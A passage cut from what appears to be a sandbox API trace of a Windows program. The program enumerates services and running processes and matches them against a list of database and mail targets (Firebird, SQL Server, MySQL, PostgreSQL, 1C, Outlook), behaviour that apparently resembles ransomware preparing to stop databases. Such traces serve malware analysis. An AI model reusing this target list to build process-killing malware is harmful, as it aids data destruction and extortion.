lstrlenW (lpString="CryptSvc") returned 8 [0052.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.344] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.344] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.344] lstrlenW (lpString="CscService") returned 10 [0052.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0052.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0052.344] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0052.344] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0052.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0052.344] lstrlenW (lpString="DcomLaunch") returned 10 [0052.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.344] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.344] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.345] lstrlenW (lpString="Dhcp") returned 4 [0052.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.345] lstrlenW (lpString="Dnscache") returned 8 [0052.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.345] lstrlenW (lpString="DPS") returned 3 [0052.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.345] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.345] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.345] lstrlenW (lpString="eventlog") returned 8 [0052.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0052.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0052.345] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0052.345] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0052.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0052.345] lstrlenW (lpString="EventSystem") returned 11 [0052.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.345] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.345] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.345] lstrlenW (lpString="gpsvc") returned 5 [0052.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.346] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.346] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.346] lstrlenW (lpString="iphlpsvc") returned 8 [0052.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.346] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.346] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.346] lstrlenW (lpString="LanmanServer") returned 12 [0052.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.346] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.346] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.346] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.346] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.346] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.346] lstrlenW (lpString="lmhosts") returned 7 [0052.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.346] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.346] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.346] lstrlenW (lpString="MMCSS") returned 5 [0052.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0052.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0052.347] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0052.347] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0052.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0052.347] lstrlenW (lpString="MpsSvc") returned 6 [0052.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.347] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.347] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.347] lstrlenW (lpString="Netman") returned 6 [0052.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0052.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0052.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0052.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0052.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0052.347] lstrlenW (lpString="netprofm") returned 8 [0052.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.347] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.347] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.347] lstrlenW (lpString="NlaSvc") returned 6 [0052.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.347] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0052.347] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.347] lstrlenW (lpString="nsi") returned 3 [0052.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.347] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.347] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.348] lstrlenW (lpString="PcaSvc") returned 6 [0052.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.348] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.348] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.348] lstrlenW (lpString="PlugPlay") returned 8 [0052.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.348] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.348] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.348] lstrlenW (lpString="Power") returned 5 [0052.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.348] lstrlenW (lpString="ProfSvc") returned 7 [0052.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.348] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0052.348] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.348] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.348] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.349] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.349] lstrlenW (lpString="RpcSs") returned 5 [0052.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.349] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.349] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.349] lstrlenW (lpString="SamSs") returned 5 [0052.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.349] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.349] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.349] lstrlenW (lpString="Schedule") returned 8 [0052.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.349] lstrlenW (lpString="SENS") returned 4 [0052.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.349] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.349] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.349] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.349] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.349] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.350] lstrlenW (lpString="Spooler") returned 7 [0052.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0052.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.350] lstrlenW (lpString="swprv") returned 5 [0052.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0052.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0052.350] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0052.350] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0052.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0052.350] lstrlenW (lpString="SysMain") returned 7 [0052.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.350] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.350] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0052.350] lstrlenW (lpString="Themes") returned 6 [0052.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0052.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0052.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0052.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0052.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0052.350] lstrlenW (lpString="TrkWks") returned 6 [0052.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0052.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0052.350] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0052.350] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0052.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0052.350] lstrlenW (lpString="UxSms") returned 5 [0052.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0052.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0052.351] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0052.351] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0052.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0052.351] lstrlenW (lpString="VSS") returned 3 [0052.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0052.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0052.351] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0052.351] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0052.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0052.351] lstrlenW (lpString="WdiServiceHost") returned 14 [0052.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.351] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0052.351] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0052.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0052.351] lstrlenW (lpString="WdiSystemHost") returned 13 [0052.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.351] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0052.351] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0052.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0052.351] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0052.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.351] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0052.351] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0052.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0052.351] lstrlenW (lpString="Winmgmt") returned 7 [0052.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0052.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0052.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0052.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0052.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0052.352] lstrlenW (lpString="WPDBusEnum") returned 10 [0052.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.352] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0052.352] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0052.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0052.352] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0052.352] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0052.354] Process32FirstW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.355] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.355] lstrlenW (lpString="System") returned 6 [0052.355] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0052.356] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0052.356] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0052.356] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0052.356] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0052.356] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0052.356] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0052.356] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.356] lstrlenW (lpString="smss.exe") returned 8 [0052.356] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0052.356] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0052.356] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0052.356] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0052.356] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0052.356] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0052.357] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0052.357] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.357] lstrlenW (lpString="csrss.exe") returned 9 [0052.357] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0052.357] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0052.357] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0052.357] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0052.357] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0052.357] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0052.357] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0052.357] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.358] lstrlenW (lpString="wininit.exe") returned 11 [0052.358] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0052.358] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0052.358] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0052.358] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.359] lstrlenW (lpString="csrss.exe") returned 9 [0052.359] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.360] lstrlenW (lpString="winlogon.exe") returned 12 [0052.360] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.360] lstrlenW (lpString="services.exe") returned 12 [0052.360] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.361] lstrlenW (lpString="lsass.exe") returned 9 [0052.361] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0052.362] lstrlenW (lpString="lsm.exe") returned 7 [0052.362] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.362] lstrlenW (lpString="svchost.exe") returned 11 [0052.362] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.363] lstrlenW (lpString="svchost.exe") returned 11 [0052.363] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.364] lstrlenW (lpString="svchost.exe") returned 11 [0052.364] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.365] lstrlenW (lpString="svchost.exe") returned 11 [0052.365] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, 